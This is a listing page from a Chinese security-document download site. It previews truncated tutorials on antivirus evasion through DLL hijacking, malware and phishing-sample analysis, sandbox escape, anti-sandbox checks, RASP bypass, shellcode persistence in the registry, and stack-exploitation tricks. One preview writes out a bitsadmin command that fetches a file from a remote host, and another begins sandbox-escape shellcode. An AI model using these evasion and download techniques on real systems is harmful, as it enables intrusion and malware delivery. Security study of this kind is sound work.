爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

由dll劫持实现免杀

# DLL劫持实现免杀技术详解 ## 一、DLL基础概念 ### 1.1 什么是DLL DLL（Dynamic Link Library，动态链接库）是Windows系统中的一种可执行文件格式，允许多个程序共享同一份代码，从而减少程序体积。DLL在程序运行时动态加载，而不是编译时静态链接。 ### 1.2 DLL入口点 DLL的主入口函数是`DllMain`，其基本结构如下： ```cpp #include "pch.h" BOOL APIENTRY DllMain(HMODULE

2025-08-23 15:57:53

虚假中文版Telegram钓鱼样本详细分析

# 虚假中文版Telegram钓鱼样本技术分析报告 ## 一、样本概述该样本伪装成Telegram中文版安装程序，实际为黑产组织开发的恶意软件加载器，主要功能包括： - 采用白+黑技术加载恶意模块 - 多层加密的Payload加载 - 反调试和反虚拟机检测 - 安全软件对抗 - 网络接口操控 - 持久化驻留 ## 二、技术细节分析 ### 1. 初始感染流程 1. **安装程序伪装**： - 样本伪装为"Telegram中文版"安装程序 - 安装完成后启动`loFsoir

2025-08-23 15:56:37

CVE-2024-44337--手把手教你go-fuzz模糊测试引擎如何进行漏洞挖掘和复现

# Go-Fuzz模糊测试引擎实战：挖掘与复现CVE-2024-44337漏洞 ## 1. 漏洞概述 CVE-2024-44337是gomarkdown项目中的一个重要漏洞，涉及输入处理不当导致的拒绝服务(DoS)问题。该漏洞存在于伪版本'v0.0.0-20240729232818-a2a9c4f'之前的版本中，攻击者可通过特制输入使程序进入无限循环，导致资源耗尽。 ### 漏洞关键信息 - **影响组件**：`github.com/gomarkdown/markdown` Go库 - *

2025-08-23 15:45:52

记一次某病毒样本分析

# 某病毒样本分析教学文档 ## 1. 样本背景 - 攻击现象：终端软件在用户未操作情况下自主批量发送压缩附件 - 主题伪装：以"财务"为主题诱导用户点击 - 文件伪装：使用某游戏图标进行伪装（免费版exe） ## 2. 静态分析 ### 2.1 主要函数分析 1. **sub_140003F70函数**： - 功能：检测是否安装钉钉、微信等软件 - 注意事项：虚拟机调试时需要安装这些软件才能进入if分支 2. **sub_140003570函数**： - 功能：拼

2025-08-23 15:44:22

沙盒逃逸(ORW合集)

# 沙盒逃逸(ORW合集)技术详解 ## 1. ORW基础概念 ORW (Open-Read-Write)是沙盒逃逸中的一种常见技术，用于绕过沙箱限制读取或写入文件。基本流程包括： 1. 打开文件(Open) 2. 读取文件内容(Read) 3. 输出读取的内容(Write) ## 2. 基础ORW实现 ### 2.1 64位基础ORW ```asm push 0x67616c66 ; 将'flag'字符串压栈 mov rdi, rsp ; 将栈指针(指向'f

2025-08-23 15:43:42

反沙箱杂谈--获取沙箱环境

# 反沙箱技术详解：获取沙箱环境特征与绕过检测 ## 1. 沙箱执行过程概述沙箱分析通常遵循以下流程： - 提交可疑文件 - 静态分析（检查文件结构、签名、字符串等） - 动态分析（在受控环境中执行文件） - 行为检测（监控文件执行产生的系统变化） - 生成分析报告 ## 2. 环境信息收集技术 ### 2.1 进程列表获取使用`psutil`模块枚举系统进程： ```python import psutil def get_process_list(): proces

2025-08-23 15:41:37

windows下远程文件下载常见手法总结

# Windows下远程文件下载技术总结 ## 1. Bitsadmin方法 Bitsadmin是Windows内置的后台智能传输服务工具，可用于文件下载。 ### 基本用法： ```cmd bitsadmin /create foo bitsadmin /addfile foo http://192.168.45.1:4444/1.txt C:\Windows\temp\1.txt bitsadmin /RESUME foo bitsadmin /info foo /verbose bi

2025-08-23 15:40:39

强网拟态OnlineRunner JAVA绕过RASP分析

# Java RASP绕过技术分析与实践指南 ## 1. RASP技术概述 RASP (Runtime Application Self-Protection) 是一种运行时应用程序自我保护技术，与传统WAF相比具有以下特点： - **实现层级**：嵌入在程序内部，实现更为底层 - **监控能力**：实时监控危险函数调用并阻止 - **精准度**：攻击行为识别更为精准 - **部署方式**：通常使用Java Agent技术实现 Java RASP典型启动方式： ```bash java

2025-08-23 15:39:27

GOT劫持总结

# GOT劫持技术详解与实战分析 ## 1. GOT劫持原理 GOT(Global Offset Table)劫持是一种利用程序动态链接机制的攻击技术。`.got.plt`段相当于PLT(Procedure Linkage Table)的全局偏移表，存放着外部函数的入口地址。通过修改这个表中的函数地址，可以改变程序执行流程。 **核心原理**： - 当程序调用外部函数时，会通过PLT跳转到GOT表中存储的地址 - 如果修改GOT表中的函数地址为攻击者控制的地址，程序调用该函数时将执行攻击者

2025-08-23 15:38:22

白加黑写入Shellcode到注册表上线

# 利用注册表存储和执行Shellcode的技术分析 ## 技术概述本技术通过将Shellcode写入Windows注册表，然后在需要时读取并执行，实现了一种持久化攻击手段。这种方法可以绕过一些传统的内存检测机制，适用于白加黑攻击场景。 ## 核心实现步骤 ### 1. 写入Shellcode到注册表 #### 使用的API函数 1. **RegOpenKeyExA** ```c LSTATUS RegOpenKeyExA( [in] HKEY hKey,

2025-08-23 15:37:20

栈攻击利用之ret2系列（二）

# 栈攻击利用之ret2系列(二) 高级技巧详解 ## 1. ret2csu技术 ### 1.1 技术背景当程序中没有直接的`pop rdx; ret` gadget时，无法直接控制第三个参数寄存器，导致难以调用`read`、`write`、`execve`等三参数函数。 ### 1.2 利用条件 - 程序存在栈溢出漏洞 - 需要调用参数较多的函数(如write/read/execve等) - 缺少直接控制rdx寄存器的gadget ### 1.3 技术原理利用`__libc_csu

2025-08-23 15:35:55

常见的绕过canary的方法

# 绕过Canary保护机制的方法详解 Canary是一种常见的栈保护机制，用于防止缓冲区溢出攻击。本文将详细介绍三种绕过Canary保护的方法，包括覆盖00字符、格式化字符串泄露和爆破Canary。 ## Canary保护机制原理在函数开始时，程序会随机生成一个值（Canary），并将其放置在栈上紧挨着EBP/RBP的上一个位置。当攻击者试图通过缓冲区溢出覆盖EBP/RBP或返回地址时，必然会覆盖Canary的值。在函数结束时，程序会检查Canary的值是否与初始值一致，如果不一致，程

2025-08-23 15:34:55

跳转到页